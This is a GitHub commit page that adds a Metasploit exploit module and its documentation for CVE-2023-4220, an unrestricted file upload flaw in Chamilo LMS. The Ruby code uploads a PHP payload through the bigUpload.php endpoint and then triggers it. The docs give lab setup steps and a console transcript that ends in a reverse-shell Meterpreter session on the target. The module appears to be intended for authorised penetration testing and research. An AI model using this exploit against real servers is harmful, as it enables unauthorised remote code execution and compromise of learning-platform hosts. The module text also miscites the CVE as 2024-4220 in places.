-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19629, Chamilo v1.11.24 Unrestricted File Upload (CVE-2023-4220)
Land #19629, Chamilo v1.11.24 Unrestricted File Upload (CVE-2023-4220)
- Loading branch information
Showing
2 changed files
with
208 additions
and
0 deletions.
There are no files selected for viewing
89 changes: 89 additions & 0 deletions
89
documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
## Vulnerable Application | ||
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24 | ||
a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to | ||
`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to: | ||
`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist | ||
by default. | ||
|
||
### Setup | ||
|
||
A vulnerable docker-compose configuration can be found at the following link: https://github.com/vulhub/vulhub/pull/559 | ||
1. Clone the repo `git clone https://github.com/vulhub/vulhub.git` | ||
1. Checkout the pull request mentioned above: `git checkout CVE-2023-4220` | ||
1. Run `cd vulhub/chamilo/CVE-2023-4220` | ||
1. Start the environment: `docker compose up` | ||
1. Navigate to `http://127.0.0.1:8080` to complete the installation wizard. | ||
1. Note when filling out the database IP address and credentials - the DB hostname is the name of the container which is | ||
`mariadb` (not `localhost` or `127.0.0.1`). | ||
1. Once the installation wizard is complete the target should be ready to be | ||
exploited with the module. This container has the non-default `/files/` directory created already. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
1. Do: `use linux/http/chamilo_bigupload_webshell` | ||
1. Set the `RHOST`, `RPORT`, and `LHSOT` options | ||
1. Run the module | ||
1. Receive a Meterpreter session as the `www-data` user. | ||
|
||
## Scenarios | ||
### Chamilo 1.11.18 running in Docker | ||
``` | ||
msf6 > use linux/http/chamilo_bigupload_webshell | ||
[*] Using configured payload php/meterpreter/reverse_tcp | ||
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rhost 127.0.0.1 | ||
rhost => 127.0.0.1 | ||
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080 | ||
rport => 8080 | ||
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set lhost 172.16.199.1 | ||
lhost => 172.16.199.1 | ||
msf6 exploit(linux/http/chamilo_bigupload_webshell) > show options | ||
Module options (exploit/linux/http/chamilo_bigupload_webshell): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 8080 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
VHOST no HTTP server virtual host | ||
Payload options (php/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST 172.16.199.1 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 PHP | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(linux/http/chamilo_bigupload_webshell) > run | ||
[*] Started reverse TCP handler on 172.16.199.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable. | ||
[+] The target is vulnerable. File upload was successful (CVE-2024-4220 was exploited successfully). | ||
[*] Sending stage (40004 bytes) to 172.16.199.1 | ||
[+] Deleted 1nZaWHvP | ||
[+] Deleted kFAqQcbWxs.php | ||
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:60031) at 2024-11-11 10:42:06 -0800 | ||
meterpreter > getuid | ||
Server username: www-data | ||
meterpreter > sysinfo | ||
Computer : c2064983b0e1 | ||
OS : Linux c2064983b0e1 6.10.11-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Oct 3 10:19:48 UTC 2024 x86_64 | ||
Meterpreter : php/linux | ||
meterpreter > | ||
``` |
119 changes: 119 additions & 0 deletions
119
modules/exploits/linux/http/chamilo_bigupload_webshell.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::FileDropper | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
class UploadFileError < StandardError; end | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell', | ||
'Description' => %q{ | ||
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24 | ||
a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to | ||
`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to: | ||
`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist | ||
by default. | ||
}, | ||
'Author' => [ | ||
'Ngo Wei Lin', # discovery | ||
'jheysel-r7' # module | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'], | ||
[ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'], | ||
[ 'CVE', '2023-4220'] | ||
], | ||
'License' => MSF_LICENSE, | ||
'Platform' => %w[php], | ||
'Privileged' => false, | ||
'Arch' => [ ARCH_PHP ], | ||
'Targets' => [ | ||
[ | ||
'PHP', | ||
{ | ||
'Platform' => ['php'], | ||
'Arch' => ARCH_PHP | ||
} | ||
], | ||
], | ||
'DisclosureDate' => '2023-11-28', | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE, ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, ], | ||
'Reliability' => [ REPEATABLE_SESSION, ] | ||
} | ||
) | ||
) | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/') | ||
) | ||
|
||
return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404 | ||
|
||
print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.') | ||
test_file_content = rand_text_alphanumeric(8) | ||
test_file_name = rand_text_alphanumeric(8) | ||
|
||
begin | ||
upload_file(test_file_content, test_file_name) | ||
rescue UploadFileError => e | ||
return CheckCode::Safe("#{e.class}:#{e}") | ||
end | ||
|
||
CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).') | ||
end | ||
|
||
def upload_file(file_contents, file_name) | ||
vars_form_data = [ | ||
{ | ||
'name' => 'bigUploadFile', | ||
'data' => file_contents, | ||
'filename' => file_name, | ||
'mime_type' => 'application/octet-stream' | ||
} | ||
] | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'), | ||
'vars_form_data' => vars_form_data, | ||
'vars_get' => { | ||
'action' => 'post-unsupported' | ||
} | ||
) | ||
|
||
raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.' | ||
|
||
register_file_for_cleanup(file_name) | ||
end | ||
|
||
def exploit | ||
file_contents = payload.encoded | ||
file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php" | ||
|
||
begin | ||
upload_file(file_contents, file_name) | ||
rescue UploadFileError => e | ||
fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}") | ||
end | ||
|
||
send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name) | ||
}) | ||
end | ||
end |